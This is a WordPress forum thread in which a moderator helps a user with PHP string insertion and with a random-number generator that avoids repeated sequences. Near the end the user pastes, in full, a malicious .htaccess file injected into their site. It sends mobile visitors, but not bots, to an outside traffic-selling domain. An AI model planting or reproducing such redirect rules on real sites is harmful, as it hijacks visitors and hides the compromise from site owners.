• add values of a variable with string, within another variable that also contains string, but insert in the middle of the text, eg
    I have a text with 100 words, and I have another variable also with a string value, say a word, as I put that word in this text, and text in the center. say there position by 49 or 50 or 51 etc …Thanks ??

Viewing 15 replies - 1 through 15 (of 16 total)
  • Moderator bcworkz

    (@bcworkz)

    There’s a few possibilities, depending on how you determine where the inserted string should be inserted, and the nature of the receiving string. If the insertion criteria is after a certain number of words, and the words are separated with spaces, use explode() with a space character as the delimiter. You’ll end up with an array of individual words. Use array_slice() to divide the array in two, the break point being where the inserted string is to go.

    You can then use implode() to restore the first part of the string. Then concatenate the inserted string onto the end. Then use implode() on the second part and concatenate the result onto the end of the first part and inserted string.

    If the inserted string needs to go after a specific sub-string, you may be able to just use str_replace() to search and replace, for example find ‘foo’ and replace it with ‘foo bar’. There’s a regexp variant of this that gives you the ability to locate the insertion point using a regexp: preg_replace(). This can be useful if some part of the receiving string varies in content, a regexp can pick out a specific pattern regardless of the actual values. For example, you could only replace ‘www’ with ‘mobile’ when it occurs after ‘https://’ or after ‘https://’ and not replace it if preceded with any alpha-numeric character or not followed by a dot. Several lines of code can be replaced by a single regexp.

    There’s many string functions available. Most begin with ‘str’. Depending on the specifics of your need, some combination of these functions should be able to do the job for you.

    FYI, the closing of older topics and forum migration is currently scheduled for Friday. Subject to change, but if the forums are not working around then, that’s probably why.

    Thread Starter herculesnetwork

    (@herculesnetwork)

    Hi BCWorkz ??
    I liked to see examples of slice_array, explode, implode, I already made notes and more in future until I know that I will use them ??

    $arr = array("blue","red","green","yellow");
    print_r(str_replace("red","pink",$arr,$i));
    echo "Replacements: $i";

    I’ve been testing these examples of the manual, and did not see well my idea, I will explain better, sorry I’ve been very vague, do not want to replace anything or work with separate strings, I want to insert a variable in the middle of a plain text without separations in this text, as in arrays!

    I think to make a text box where I play a text, and this text will receive certain Interval the text, one word from me! then this text box will store obviously a variable, so I hope to have the output of this variable getting a particular word in excerpts of these texts pasted within the variable!

    $word_to_add = "hercules";
    $vartext = "What distinguishes PHP from something like client-side JavaScript is that
    the code is executed on the server, generating HTML which is then sent to the client.
    The client would receive the results of running that script, but would
    not know what the underlying code was. You can even configure your web server to
    process all your HTML files with PHP, and then there s really no way that
    users can tell what you have up your sleeve";
    $textresult = "$word_to_add $vartext";
    echo $textresult;

    resulted expected: my name 4x in text ??

    hercules What distinguishes PHP from something like client-side JavaScript is that the code is executed on the server, generating HTML which is hercules then sent to the client. The client would receive the results of running that script, but would not know what the underlying hercules code was. You can even configure your web server to process all your HTML files with PHP, and then there s really no way that users can tell what you have up your sleeve hercules

    type, I want to cut the value of a variable in 4 parts, and play the value of my variable that keeps the word within the variable sliced, variable text! say a variable that contains 60 strings, I want my name after 20 strings within this variable ??

    Moderator bcworkz

    (@bcworkz)

    I believe I understood what you are after, though I was thinking one replacement instead of 4. I confused you by suggesting different possibilities since I was not sure what the criteria was for where to insert ‘hercules’. Your example made that much more clear, so thanks for that.

    We definitely should explode the receiving text, then use array_slice() to divide the array into 3 pieces. We can use count() to determine the size of the original array so we can slice it into roughly 3 equal parts. Then we reassemble the parts with implode() and concatenation. Like this:

    $whole = explode( ' ', $vartext );
    $size = count( $whole );
    $cut1 = intdiv( $size, 3 );
    $part1 = array_slice( $whole, 0, $cut1 );
    $part2 = array_slice( $whole, $cut1, $cut1 );
    $part3 = array_slice( $whole, $cut1 + $cut1 );
    $textresult = "$word_to_add " . implode( ' ', $part1 ) . " $word_to_add " . implode( ' ', $part2 ) . " $word_to_add " . implode( ' ', $part3 ) . " $word_to_add";

    Your name is not inserted exactly where you had shown, where it’s inserted in managed by the 2nd and 3rd parameters to array_slice(). The value of $cut1 being 1/3 of $size is convenient but not absolutely necessary.

    Thread Starter herculesnetwork

    (@herculesnetwork)

    Thank you for beneficial “confusion”: D
    thanks to its previous suggestions, you showed me a great solution to a question that I was facing, I have a lot of unwanted words in some titles mine, and would love to replace them!
    I am already trying to write a solution here.
    is relatively simple because we need not update or special hooks because I will do this within a plugin that will suffice plying the str_replace in variable him that everything will happen already in titles ?? game after my attempt here ??

    $accepted_word = "mybrand";
    $danied_words = array("yahoo","google","amazom","bing");
    $my_new_output = str_replace($accepted_word,$danied_words);
    echo $my_new_output;

    :$ I am very near or far :$
    ========================

    I tried to apply and the system returned to the function was not declared:
    Fatal error: Call to undefined function intdiv() in /opt/lampp/htdocs/inser-var-in-another-var/index.php on line 18

    so I tried define so:

    <?php
    
    function add_values_of_a_variable_between_strings_of_another_variable() {
    $word_to_add = "hercules";
    $vartext = "What distinguishes PHP from something like client-side JavaScript is that
    the code is executed on the server, generating HTML which is then sent to the client.
    The client would receive the results of running that script, but would
    not know what the underlying code was. You can even configure your web server to
    process all your HTML files with PHP, and then there s really no way that
    users can tell what you have up your sleeve";
    
    $whole = explode( ' ', $vartext );
    $size = count( $whole );
    $cut1 = intdiv( $size, 3 );
    $part1 = array_slice( $whole, 0, $cut1 );
    $part2 = array_slice( $whole, $cut1, $cut1 );
    $part3 = array_slice( $whole, $cut1 + $cut1 );
    $textresult = "$word_to_add " . implode( ' ', $part1 ) . " $word_to_add " . implode( ' ', $part2 ) . " $word_to_add " . implode( ' ', $part3 ) . " $word_to_add";
    echo $textresult;
    }

    output:
    A big white screen, nothing!

    Thanks you so much ??

    Moderator bcworkz

    (@bcworkz)

    You’re sort of close with str_replace(), I see two problems. One is the target array and replacement word are reversed. The second is you forgot to provide the parameter for what string to search! I’ve made similar silly errors in the recent past, I just can’t correctly remember everything. If I don’t constantly look up function references, I’m wrong half the time. I’m sure English language references are confusing for you. Fortunately, there is a pt-BR version ??

    Sorry about the intdiv() problem. It is a function new to PHP 7. You obviously have an older version. PHP 7 has only been out for a few months, I think a lot of hosts have not adopted it yet, so it’s not safe to use in distributed code yet. It’s only good for custom use where we can be sure PHP 7 is being used. If you are using localhost or are running your own server, I recommend upgrading if possible.

    intdiv() functionality can be replicated on older PHP versions. The first user contributed note on the reference page provides an example.

    Thread Starter herculesnetwork

    (@herculesnetwork)

    I use a cheap vps in SRSR OVH should not update soon to PHP7, but no major problems that, in future it will be used in the best way ?? Thanks for that too … And the important thing is that things real importance to my work have already been made thanks to you. And this question with str_replace, I’m sure I’ll rsolver with your tips, it’s all in my notes now ?? ??

    I do not have but nothing about my work to solve: D thanksss.

    BCWork’S: D have a question off work ?? this is a little personal.
    My stepfather is a very good person, he asked me a rand code for some numbers, put a blog page it this random generator of numbers and he was very happy ?? but after a while, asked me a question the months to back, and I could not answer, I told him, I’m not a skilled programmer to put that their condition in the middle of code, but I know who can answer about that.

    I do not see how what he wants will help me for anything in my work, but should be good as learning ??

    ——————–
    eg if a sequence record even manually, a variable above.
    want a way to analyze these previously recorded manually same sequence, and that the new rand, never accept return a value to repeat the same sequence previously recorded by hand in a variable such,

    the generator analyze the sequence of 20 numbers, and each time the rand run the generator, and it generates something to repeat any of these values manually recorded before performing the task, he again redo the rand, so return sequence unreleased within 7 numbers followed ??

    recorded sequence:

    (04,08,07,03,01,06,18,11,5,20,24,02,13,09,12)
    if the rand generate something like 5,20,24,02,13,09,12 or 01,06,18,11,5,20,24, or any other sequence that repeat up to 7 numbers, it does not return and is again ??
    only accept repetition of sequences of 6 numbers or less.

    <?php
    
    $input = array("1", "2", "3", "4", "5","6", "7", "8", "9", "10", "11", "12", "13", "14", "15","16", "17", "18", "19", "20", "21","22", "23", "24", "25");
    $rand_keys = array_rand($input, 15);
    $my_result = $input[$rand_keys[0]].$input[$rand_keys[1]].$input[$rand_keys[2]].$input[$rand_keys[3]].$input[$rand_keys[4]].$input[$rand_keys[5]].
    $input[$rand_keys[6]].$input[$rand_keys[7]].$input[$rand_keys[8]].$input[$rand_keys[9]].$input[$rand_keys[10]].$input[$rand_keys[11]].
    $input[$rand_keys[12]].$input[$rand_keys[13]].$input[$rand_keys[14]];
    if
     //something that determines to a new rand instead of returning the result to find a sequence of numbers 7 or more with the same sequence of $ input_x above);
      // not_allow_rand_with_the_same_sequence_of_consecutive_numbers_up_to_7_below
        ($my_result = array("8", "5","6", "7", "9", "10", "11", "12", "13", "14", "15","16", "17", "18", "19", "20"),
    
        $my_result = array("5", "6", "7", "8", "9", "10", "11", "12","16", "17", "18", "19", "20", "13", "14", "15"),
    
        $my_result = array("9", "5","6", "7", "8",  "10", "11", "15","16", "17", "18", "19", "20", "12", "13", "14"),
    
        $my_result = array("20", "6", "7", "8", "9", "10","5","11", "12", "13", "14", "15","16", "17", "18", "19"),); {
     //(not allow 7 sequences or more that above, if not find sequence, )
    
    }else{
    $input = array("1", "2", "3", "4", "5","6", "7", "8", "9", "10", "11", "12", "13", "14", "15","16", "17", "18", "19", "20", "21","22", "23", "24", "25");
    $rand_keys = array_rand($input, 15);
    $my_result = $input[$rand_keys[0]].$input[$rand_keys[1]].$input[$rand_keys[2]].$input[$rand_keys[3]].$input[$rand_keys[4]].$input[$rand_keys[5]].
    $input[$rand_keys[6]].$input[$rand_keys[7]].$input[$rand_keys[8]].$input[$rand_keys[9]].$input[$rand_keys[10]].$input[$rand_keys[11]].
    $input[$rand_keys[12]].$input[$rand_keys[13]].$input[$rand_keys[14]];
    echo $my_result;
    }
    ?>

    Sorry for one more question, I was thinking about what to ask about this or about the replacement of terms in the title, I’m here asking the two questions, but I have no more doubt to take, and this off work may please him, which made me very curious! ??

    Thanks BCWorkZ

    Moderator bcworkz

    (@bcworkz)

    Random numbers in computer science is an interesting (meaning complex) topic. It is directly related to cryptography and security. Despite advances in cryptography, no one has yet been able to create an algorithm that generates truly random numbers. The results only appear to be random, but statistical analysis of results will show the number distribution is not random at all. With PHP 7 there are better algorithms that are supposed to be suitable for cryptography, but the results are still referred to as pseudo-random. PHP 7 doesn’t help you anyway.

    Still, array_rand() is rather terrible at returning random results. mt_rand() is much better and has been available since PHP 4. The only drawback is there is not an array variant – there is no array_mt_rand() function. It wouldn’t be too difficult to code up a small routine to deal with arrays using mt_rand().

    For your particular application, I’m not sure building a source array is even necessary since you are merely after random numbers. It made sense when you wanted random words, but numbers come much easier to computers. You can just run a loop for 20 iterations, collecting the result from mt_rand() each time into an array. You probably shouldn’t try to use numbers as strings. While using strings will work, it’s more work and unnecessary. Instead of array("1", "2", "3",..);, just do array( 1, 2, 3,...);

    If you need to check the result to ensure it does not match a number of other manually created sequences, place the manual sequences in an array of arrays:

    $not_allowed = array(
       array(4, 8, 7,...),
       array(5, 20, 24,...),
       ...
    );

    Once the new random array is created with mt_rand(), use another loop to see if $new_array === $not_allowed[$n] for each element of $not_allowed. If there is any match, rerun the mt_rand() loop to generate a new candidate sequence and then check again against all the manual sequences. This logic can be built into a while loop that only exits when there is no match to anything in $not_allowed.

    A similar technique is used to ensure a new sequence is not identical to any other sequence previously generated. Each new sequence is added to the $not_allowed array to ensure it will not be repeated again. It doesn’t make sense to collect thousands of sequences to ensure any sequence is never reused. We would typically restrict the $not_allowed size to a reasonable number, maybe 20 or 30 elements. When the size exceeds this limit, the oldest element is removed or unset to make room for the most recent sequence.

    This dynamic $not_allowed array needs to be stored somewhere so it may persist between requests for a new sequence. Session variables work well for this, they are essentially cookie values. You could also serialize $not_allowed and directly save it to a cookie. In PHP you cannot save cookies once output has started, but you can use JavaScript to save cookies anytime.

    If you’re in a WordPress environment (we should be so this forum topic can remain WP related ?? ) and users are logged in, $not_allowed could be stored in user meta so each user has their own cache of previously used sequences. Or it can be stored as a single universal value for all users in the options table, or as a transient value if it’s OK for it to disappear after a certain length of time, for example, if we don’t care about sequences used yesterday, only today’s will matter.

    I’ve explained a lot but not offered any code examples. This is not an oversight, I’d like you to try and take these ideas and implement them as code. You learn more by working through a problem instead of being given the answer. When starting a new algorithm, it helps me to first write out the logic in plain English (pt-BR for you ?? ) steps, then starting at the inner most segment of nested loops, translate the plain English into working PHP, coding only a few lines at a time before testing that segment to be sure it works correctly.

    Once you are sure that segment works correctly, proceed outwards with more translations into code. If anything should fail in testing, you know the fault is in the most recently written code because you’ve previously verified the rest of the code works correctly. Trying to code everything at once in the hopes it’ll all work out rarely works out. Then debugging is much more difficult because there are likely multiple bugs and they can be anywhere.

    Thread Starter herculesnetwork

    (@herculesnetwork)

    with while I just got errors! e not work, I never used while :$

    <?php
    
    $not_allowed = array(
        array( " 8 " , " 5 " , " 6 " , " 7 " , " 9 " , " 10 " , " 11 " , " 12 " , " 13 " , " 14 " , " 15 " , " 16 " , " 17 " , " 18 " , " 19 " , " 20 " ),
    
        array( " 5 " , " 6 " , " 7 " , " 8 " , " 9 " , " 10 " , " 11 " , " 12 " , " 16 " , " 17 " , " 18 " , " 19 " , " 20 " , " 13 " , " 14 " , " 15 " ),
    
        array( " 9 " , " 5 " , " 6 " , " 7 " , " 8 " ,  " 10 " , " 11 " , " 15 " , " 16 " , " 17 " , " 18 " , " 19 " , " 20 " , " 12 " , " 13 " , " 14 " ),
    
        array( " 20 " , " 6 " , " 7 " , " 8 " , " 9 " , " 10 " , " 5 " , " 11 " , " 12 " , " 13 " , " 14 " , " 15 " , " 16 " , " 17 " , " 18 " , " 19 " ),
    );
    // $Array = new mt_rand(1, 25); I could not do anything with mt_rand here generates only one numnero between 1 and 25, need 15 numbers in 25 below and separated with space
    
    $input = array( " 1 " , " 2 " , " 3 " , " 4 " , " 5 " , " 6 " , " 7 " , " 8 " , " 9 " , " 10 " , " 11 " , " 12 " , " 13 " , " 14 " , " 15 " , " 16 " , " 17 " , " 18 " , " 19 " , " 20 " , " 21 " , " 22 " , " 23 " , " 24 " , " 25 " );
    $rand_keys = array_rand($input, 15);
    $new_array = $input[$rand_keys[0]].$input[$rand_keys[1]].$input[$rand_keys[2]].$input[$rand_keys[3]].$input[$rand_keys[4]].$input[$rand_keys[5]].
    $input[$rand_keys[6]].$input[$rand_keys[7]].$input[$rand_keys[8]].$input[$rand_keys[9]].$input[$rand_keys[10]].$input[$rand_keys[11]].
    $input[$rand_keys[12]].$input[$rand_keys[13]].$input[$rand_keys[14]];
    
    while($new_array === $not_allowed[$n]){
    echo $new_array;
    }
    // Always see the use of a variable N in codes and never understood his role, and whenever I try to use N, says that the variable is undefined!?>

    without while:

    <?php
    /*
    I use rand and shufle to do these things but do not understand the application mt_rand
    
    <? Php
    <?php
    echo mt_rand() . "\n";
    echo mt_rand() . "\n";
    
    echo mt_rand(5, 15);
    * Output:
    1177037290 1255114275 12
    It generates a large and irregular number together in a separate parts and in others!
    *
    I really did not know I needed not put each number between "0" this will help me write less!
    * But I need the values, the numbers are sepados in return. 01 02 03 09 05 07 ... no 0105040907
    */
    $not_allowed = array(
        array( " 8 " , " 5 " , " 6 " , " 7 " , " 9 " , " 10 " , " 11 " , " 12 " , " 13 " , " 14 " , " 15 " , " 16 " , " 17 " , " 18 " , " 19 " , " 20 " ),
    
        array( " 5 " , " 6 " , " 7 " , " 8 " , " 9 " , " 10 " , " 11 " , " 12 " , " 16 " , " 17 " , " 18 " , " 19 " , " 20 " , " 13 " , " 14 " , " 15 " ),
    
        array( " 9 " , " 5 " , " 6 " , " 7 " , " 8 " ,  " 10 " , " 11 " , " 15 " , " 16 " , " 17 " , " 18 " , " 19 " , " 20 " , " 12 " , " 13 " , " 14 " ),
    
        array( " 20 " , " 6 " , " 7 " , " 8 " , " 9 " , " 10 " , " 5 " , " 11 " , " 12 " , " 13 " , " 14 " , " 15 " , " 16 " , " 17 " , " 18 " , " 19 " ),
    );
    // $Array = new mt_rand(1, 25); I could not do anything with mt_rand here generates only one numnero between 1 and 25, need 15 numbers in 25 below and separated with space
    //only thing I learned is that mt_rand is 3% slower than rand, this should be a sign that does the job better than rand, but I did with ran.
    $input = array( " 1 " , " 2 " , " 3 " , " 4 " , " 5 " , " 6 " , " 7 " , " 8 " , " 9 " , " 10 " , " 11 " , " 12 " , " 13 " , " 14 " , " 15 " , " 16 " , " 17 " , " 18 " , " 19 " , " 20 " , " 21 " , " 22 " , " 23 " , " 24 " , " 25 " );
    $rand_keys = array_rand($input, 15);
    $new_array = $input[$rand_keys[0]].$input[$rand_keys[1]].$input[$rand_keys[2]].$input[$rand_keys[3]].$input[$rand_keys[4]].$input[$rand_keys[5]].
    $input[$rand_keys[6]].$input[$rand_keys[7]].$input[$rand_keys[8]].$input[$rand_keys[9]].$input[$rand_keys[10]].$input[$rand_keys[11]].
    $input[$rand_keys[12]].$input[$rand_keys[13]].$input[$rand_keys[14]];
    if
    (
    $new_array === $not_allowed[$n]
    )
    {
    $input = array( " 1 " , " 2 " , " 3 " , " 4 " , " 5 " , " 6 " , " 7 " , " 8 " , " 9 " , " 10 " , " 11 " , " 12 " , " 13 " , " 14 " , " 15 " , " 16 " , " 17 " , " 18 " , " 19 " , " 20 " , " 21 " , " 22 " , " 23 " , " 24 " , " 25 " );
    $rand_keys = array_rand($input, 15);
    $new_array = $input[$rand_keys[0]].$input[$rand_keys[1]].$input[$rand_keys[2]].$input[$rand_keys[3]].$input[$rand_keys[4]].$input[$rand_keys[5]].
    $input[$rand_keys[6]].$input[$rand_keys[7]].$input[$rand_keys[8]].$input[$rand_keys[9]].$input[$rand_keys[10]].$input[$rand_keys[11]].
    $input[$rand_keys[12]].$input[$rand_keys[13]].$input[$rand_keys[14]];
    }
    echo $new_array;
    /*
     * output:
    
    Notice: Undefined variable: n in /opt/lampp/htdocs/mygen2/index.php on line 33
    
    Notice: Undefined index: in /opt/lampp/htdocs/mygen2/index.php on line 33
    1 3 4 5 11 12 13 14 16 17 18 19 23 24 25*/
    ?>

    Thread Starter herculesnetwork

    (@herculesnetwork)

    when I do full backup of my server VPS centOS, I’ll install php7 via command line, I have no panel that does everything, I use webmin, and OVH is self hosting, all are the same we do, and in my localhost I tried via ppa:ondre and never works, I’m still not sure how to install php7!
    I’m crazy for the tester strings slicing into a variable of the previous topic ??

    Moderator bcworkz

    (@bcworkz)

    I’m not sure how to upgrade to PHP 7 either. When I last updated my O/S it just showed up. As a guess, it’s installed as any other package apt-get install php7.0. Then you need to configure Apache or whatever server to use PHP7 instead of PHP5. The specifics vary, but they typically include a .conf file of some sort. Then restart the server and call phpinfo() to ensure the installation worked.

    I encourage you to try working with arrays of integers instead of strings that look like integers. Not only is it less typing, it’s less prone to errors. Consider that 5 != "5" != " 5" != " 5 " An extra or missing space can cause problems with strings, not so with integers. You can eventually format the output in any manner you like, output of “01 02 03 09” can be accomplished from array( 1, 2, 3, 9,) even though it takes a little more work than concatenating a bunch of strings together. I think the trade off is worth it. You can get a preceding space and zero with sprintf(' %02d', $number ). Using this in a foreach loop where the sprintf() return is concatenated to previous values will yield the desired output. Or use printf() to directly output.

    What you tried to do with the while loop isn’t what I had in mind. It’s my fault, I made a leap in logic without explaining myself. The overall generate a unique numbers list process is the while loop. The part that checks for matches in $not_allowed is another loop inside of while. In using $n as the array index, I was thinking of a for loop, as in for( $n=0, $n<count($not_allowed), $n++ ). A foreach loop is even simpler, it does not involve $n or count().

    The plain English logic I was thinking of goes like this:
    define $not_allowed array
    set $not_unique as true
    while $not_unique is true keep looping {
    initiate empty array $trial
    for $x increments from 0 to 14 {
    get a random number with mt_rand() and add it to $trial
    }
    foreach $not_allowed element as $test {
    if $test === $trial then skip rest of loop (continue)
    set $not_unique as false
    }
    } //end while
    optional: add $trial to $not_allowed and delete oldest element
    foreach $trial element as $number {
    printf(‘ %02d’, $number );
    }
    output might be similar to:
    04 12 08 14 11 08…

    I believe if you translate all of that into proper PHP syntax, you’ll have working code. I’d still suggest you develop the inner loops first to ensure each part works before putting it all together. Happy coding ??

    Thread Starter herculesnetwork

    (@herculesnetwork)

    Big Offtopic :$
    I slept very little with a small bug here in my hundred, I can not install php7 not in my centos7 vps or in my fedora24 localhost ..
    just now I turn from 19:00 to read again.
    spent all morning deleting .htaccess file directories of one of my fields, I made a find -name .htaccess and God had many ht

    access who stole my visitor to a site full of advertisements?
    ?and they injected it? i’m very curious!
    I use the best security practices in my VPS, use RSA key to login via ssh, I use Port knocking, use fail2ban, firewall use in Basic is true, but I use force wp-admin https / ssl via wp-config.
    I do not my digits logins wp http: my login is all changed, no one notices that I use wordpress (lay) as many files injected with redirect in my directory.? I notice that my 9 domains, this was the single affected …
    I to thinking it was a stupid I did, and as I really need to learn to program, there are things I’m guessing the …
    I have a theme in this field, he has a ADS space to play the codes of the ads in these spaces, the ads are usually closed with tag <script type = “text / javascript”> … I had not as yet played codes ads on them because there was not even copied the same to paste on the site, I write things, texts in these spaces, this was the only thing I did differently this website in relation to others! It will be been only these texts in these open spaces gap on my website? website in construction. loose string these space ads may have opened a hole for these redirects?
    This type of problem may not have much impact while my project is very small and I could not monetize yet. but in the future this kind of vacillation can give many problems.

    Off topic:

    ########GET#######
    RewriteEngine on
    RewriteRule \.(jpg|png|gif|jpeg|bmp)$ - [L]
    RewriteCond %{HTTP_USER_AGENT} acs [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} alav [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} alca [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} amoi [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} audi [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} aste [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} avan [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} benq [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} bird [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} blac [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} blaz [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} brew [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} cell [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} cldc [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} cmd- [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} dang [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} doco [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} eric [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} hipt [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} inno [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} ipaq [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} java [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} jigs [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} kddi [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} keji [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} leno [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} lg-c [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} lg-d [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} lg-g [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} lge- [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} maui [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} maxo [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} mits [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} mmef [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} mobi [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} mot- [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} moto [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} mwbp [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} nec- [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} newt [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} noki [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} opwv [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} palm [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} pana [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} pant [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} pdxg [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} phil [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} play [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} pluc [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} port [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} prox [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} qtek [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} qwap [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} sage [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} sams [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} sany [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} sch- [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} sec- [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} send [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} seri [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} sgh- [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} shar [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} sie- [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} siem [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} smal [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} smar [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} sony [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} sph- [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} symb [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} t-mo [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} teli [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} tim- [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} tosh [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} tsm- [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} upg1 [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} upsi [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} vk-v [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} voda [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} w3cs [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} wap- [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} wapa [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} wapi [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} wapp [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} wapr [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} webc [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} xda [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} xda- [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} up.browser [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} up.link [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} windows.ce [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} mini [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} mmp [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} symbian [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} wap [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} phone [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} ipad [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} iPad [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} iPhone [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} ipod [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} iPod [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} pocket [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} mobile [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} Android [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} pda [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} PPC [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} Series60 [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} Opera.Mini [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} Moby [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} Mobi [NC,OR]
    RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml" [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} !windows.nt [NC]
    RewriteCond %{HTTP_USER_AGENT} !bsd [NC]
    RewriteCond %{HTTP_USER_AGENT} !x11 [NC]
    RewriteCond %{HTTP_USER_AGENT} !unix [NC]
    RewriteCond %{HTTP_USER_AGENT} !macos [NC]
    RewriteCond %{HTTP_USER_AGENT} !macintosh [NC]
    RewriteCond %{HTTP_USER_AGENT} !playstation [NC]
    RewriteCond %{HTTP_USER_AGENT} !google [NC]
    RewriteCond %{HTTP_USER_AGENT} !yandex [NC]
    RewriteCond %{HTTP_USER_AGENT} !bot [NC]
    RewriteCond %{HTTP_USER_AGENT} !libwww [NC]
    RewriteCond %{HTTP_USER_AGENT} !msn [NC]
    RewriteCond %{HTTP_USER_AGENT} !america [NC]
    RewriteCond %{HTTP_USER_AGENT} !avant [NC]
    RewriteCond %{HTTP_USER_AGENT} !download [NC]
    RewriteCond %{HTTP_USER_AGENT} !fdm [NC]
    RewriteCond %{HTTP_USER_AGENT} !maui [NC]
    RewriteCond %{HTTP_USER_AGENT} !webmoney [NC]
    RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC]
    RewriteRule ^(.*)$ https://traf-extractor.ru [L,R=302]

    it appeared in several directories, spent a lot of time cleaning it!

    ==============================
    About TOPIC:

    I’m trying to translate from English to PHP ??
    But as I write to PHP? “To” “=>”? (And add it to $ trial)
    element and increment terms are php? I do not think so: $

    ==============================

